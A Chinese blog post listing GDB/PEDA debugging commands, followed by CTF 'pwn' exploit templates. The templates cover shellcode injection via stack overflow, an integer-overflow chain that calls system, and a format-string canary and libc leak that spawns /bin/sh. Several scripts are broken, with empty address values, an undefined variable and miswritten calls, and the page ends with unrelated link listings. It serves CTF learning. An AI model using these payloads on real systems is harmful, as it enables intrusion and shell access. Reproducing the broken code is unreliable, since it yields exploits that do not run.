GDB分析ELF文件常用的调试技巧

gdb常用命令

首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试

为了方便查看堆栈和寄存器 最好是安装peda插件

安装

可以通过pip直接安装,也可以从github上下载安装

$ pip install peda

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit

命令

  • aslr – 显示/设定GDB的ASLR(地址空间配置随机加载)设置 

  • checksec – 检查二进制文件的各种安全选项 

  • dumpargs – 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示)

  • dumprop – 在给定内存范围中Dump出所有ROP gadgets 

  • elfheader – Get headers information from debugged ELF file

  • elfsymbol – 获取non-debugging symbol信息(plt表) 

  • lookup – Search for all addresses/references to addresses which belong to a memory range

  • patch – Patch memory start at an address with string/hexstring/int

  • pattern – 生成字符串模板 写入内存 用于定位溢出点

    • pattern create size 生成特定长度字符串
    • pattern offset value 定位字符串 
  • procinfo – Display various info from /proc/pid/

  • pshow – Show various PEDA options and other settings

  • pset – Set various PEDA options and other settings

  • readelf – 获取elf头信息 

  • ropgadget – Get common ROP gadgets of binary or library 

  • ropsearch – Search for ROP gadgets in memory

  • searchmem|find – 在内存中查找字符串,支持正则表达式 

  • shellcode – 生成shellcode 

  • skeleton – Generate python exploit code template

  • vmmap – 可以用来查看栈、bss段是否可以执行 

  • xormem – XOR a memory region with a key

更多详细用法请参考官方帮助文档

1. checksec 查看elf编译的保护选项。

2. file [file] 加载objfile

3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名

4. b *addr 在addr处下一个断点

5. x addr 查看addr处存储的数据值

6. r 运行被调试的程序

7. c 继续运行

8. ni 单步执行不进入

9. si 单步执行并进入

10.vmmap 得到虚拟映射地址

PWN题常用模板

单个发送(pwn库)

 #coding=utf-8   #中文乱码
from zio import *
Thread = zio(('./pwn')) #执行同目录下的pwn
Thread = write('a'*64+'\x00\x00\x00\x01') #输入我们的payload
Thread = interact()
//p32(Address) 把32位地址 写成0x形式 同理64位的也是

ZIO库

 from zio import *
from pwn import *
Thread = zio(('./pwn'))
#shellcode1='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50'
TargetAddress = 0x000000000040066E
Length = len(shellcode)
payload = shellcode+'\x90'*(72-Length)+p64(TargetAddress)
Thread.write(payload)
Thread.interact()

pwn库 有消息接收和判断的

 from pwn import *
Shellcode='a'*112+'\x5D\x86\x04\x08'
Target=process('./pwn')
Target.sendline(Shellcode)
Target.recvuntil(':$')
#context.terminal = ['gnome-terminal','-x','sh','-c']
#gdb.attach(proc.pidof(Target)[0])
Target.sendline('zhimakaimen')
Target.interactive()

整数溢出型

 from pwn import *

 #r = remote('127.0.0.1', 9527)
r = process('./pwn3')
r.recvuntil('name \n')
r.sendline('')
#raw_input('debug'
##构造结构可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。

#下面开始构造
r.recvuntil('index\n')
#-2147483648 -->0x80000000 *4后溢出为0
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
r.sendline(str(-2147483648 + 14)) #ebp+4的地址处 就是Return函数的地址 现在是一处地址一处值 1
r.recvuntil('value\n')
r.sendline(str(int('', 16))) #jmp scanf
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 15)) #ebp+8
r.recvuntil('value\n')
r.sendline(str(int('0x080487de', 16))) # pop edi
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 16))
r.recvuntil('value\n')
r.sendline(str(int('804884b',16))) #0804884B a9s db '%9s',0
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 17))
r.recvuntil('value\n')
r.sendline(str(int('804a030', 16))) #0804A030 __data_star 804a030 是GOT表的结尾
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 18))
r.recvuntil('value\n')
r.sendline(str(int('', 16))) #system #jmp to system
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 19))
r.recvuntil('value\n')
r.sendline(str(int('804a030', 16))) #0804A030 __data_start db 0
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 20))
r.recvuntil('value\n')
r.sendline(str(int('804a030', 16))) #0804A030 __data_start db 0
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 21))
r.recvuntil('value\n')
r.sendline(str(int('', 16))) ##system #jmp to system
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 22))
r.recvuntil('value\n')
r.sendline(str(int('', 16))) ##system #jmp to system
r.recvuntil('index\n') #相当与让代码结束 执行ret从而执行到我们的流程
r.sendline('-1')
r.recvuntil('value\n')
r.sendline('')
r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')
r.sendline('/bin/sh')
r.interactive()
 
 

格式化字符串

 from pwn import *
libc=ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')
p=process("./pwn2")
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
p.recvuntil('name:')
p.sendline('%p.'*40) #输出字符串
leak_data=p.recvuntil('messages:')
address=leak_data.split('.') #将输出的地址分组 然后进行分组
canary=int(address[30],16) #这里为什么是 第30个
stack_addr=int(address[33],16)-0x90+0x8+0x8 #这里也不懂
put_addr=int(address[22],16)-0x144
system_addr=put_addr-(libc.symbols['puts']-libc.symbols['system'])

payload ='a'*100+p32(canary)+'a'*12+p32(system_addr)+'bbbb'+p32(stack_addr)+'/bin/sh\x00'

p.sendline(payload)

p.interactive()

pwn 题GDB调试技巧和exp模板的更多相关文章

  1. GDB调试技巧:总结篇

    目录 一 写在开头 1.1 本文内容 二 学习资料 三 常用命令 四 调试技巧 注:原创不易,转载请务必注明原作者和出处,感谢支持! 一 写在开头 1.1 本文内容 总结GDB调试的一些常用命令和调试 ...

  2. gdb调试技巧 找到php执行进程当前执行的代码

    假设线上有一段php脚本,突然在某天出问题了,不处理但是进程没有退出.这种情况可能是异常休眠或者是有段死循环代码,但是我们怎么定位呢,我们这个时候最想知道的应该是这个脚本在此刻在做什么吧.这个是gdb ...

  3. 100个gdb调试技巧

    找到的一个有参考价值的关于GDB调试的站点:https://gitlore.com/subject/15

  4. GDB调试技巧

    1. 查看内存分布 (gdb) info proc mappings 2. 对于类的调试,先通过行号来设断点, 比如:(gdb) b TcpConnection.cc:63 3. 打印数组的内容 (g ...

  5. GDB 调试技巧(不断更新中......)

    一.break到不同类的同名函数 方法: 在函数前面加类名以及作用域运算符 eg : break A::func //break 到类A的func函数 程序如下: //gdb_test.cpp #in ...

  6. pwn题命令行解题脚本

    目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...

  7. Linux基础 30分钟GDB调试快速突破

    引言 Linus心灵鸡汤 在*nix开发中有道卡叫gdb调试,不管你怎么搞. 它依然在那丝毫不会松动.今天致敬一个 活着的传奇 Linus Torvalds Unix 始于上个世纪60年代,在70年代 ...

  8. GDB调试基础

    GDB调试基础 https://lesca.me/archives/gdb-basic-knowledge.html GDB笔记(二):条件断点.命令列表.监视点 https://lesca.me/a ...

  9. GDB调试命令手册

    使用GDB 启动 $ gdb program           # program是你的可执行文件,一般在当前目录 $ gdb program core      # gdb同时调试运行程序和cor ...

随机推荐

  1. Java面向对象之USB接口实例

    一.需求: 1.在电脑上设置一个USB接口. 2.电脑运行时,将鼠标连接到接口上,鼠标可以使用自己的功能. 3.电脑运行时,将键盘连接到接口上,键盘可以使用自己的功能.(使用接口的作用:减低鼠标.键盘 ...

  2. ionic中文教程[来自皓眸大前端]

    做前端的同学有福了,学完比较热火的angular,你就可以开始动手做静态的WebApp了,这是多么幸福的一件事啊.静态的WebApp,你可以做任何的Demo,甚至可以做一些通关小游戏这个先不谈.做完了 ...

  3. Wiki凭什么持续得到开发人员和团队的喜爱

    大家好,我是华为云DevCloud项目管理服务的产品经理恒少,作为布道师和产品经理,出差各地接触客户是常态,线下和华为云的客户交流.布道.技术沙龙. 但是线下交流,覆盖的用户总还是少数.我希望借助线上 ...

  4. 3、pandas

    原文出处: pandas.pydata.org   译文出处:石卓林 这是关于pandas的简短介绍,主要面向新用户.可以参阅Cookbook了解更复杂的使用方法. 链接:http://python. ...

  5. 2、开始学习C++

    1.创建C++程序 C++程序是严格区分大小写,Cout与COUT都是识别不出来的,下面给出了一段简单的C++程序. #include "stdafx.h" #include &l ...

  6. CBoard 汉化以及元数据存储配置

    汉化配置如图位置: 元数据存储配置为Mysql数据库的位置 版权声明:本文为博主原创文章,需要转载请注明出处. [置顶]Cboard 系列随笔

  7. POJ3635 Full Tank? 优先队列BFS or 分层图最短路 or DP?

    然而我也不知道这是啥啊...反正差不多...哪位大佬给区分一下QWQ.. 好的,我把堆的<写反了..又调了一个小时..你能不能稳一点.... 记录状态:所在位置u,油量c,花费w 扩展状态: 1 ...

  8. python数据结构与算法之list

    1. 数据结构的操作 作为一种包含元素的数据结构,需要提供一些“标准”操作: 创建和销毁 判断是否空,如果容量有限,还需判断是否满 向结构中加入元素或从中删除 访问结构里的元素 不同的编程语言可能影响 ...

  9. 从源码角度深入分析 ant

    [转自] http://www.tuicool.com/articles/eQvIRbA Ant的基本概念 首先是ant的基本概念: Project,Target,Tasks,Properties,P ...

  10. VUE 入门教程

    http://www.runoob.com/w3cnote/vue-js-quickstart.html VUE安装教程 https://segmentfault.com/a/119000001218 ...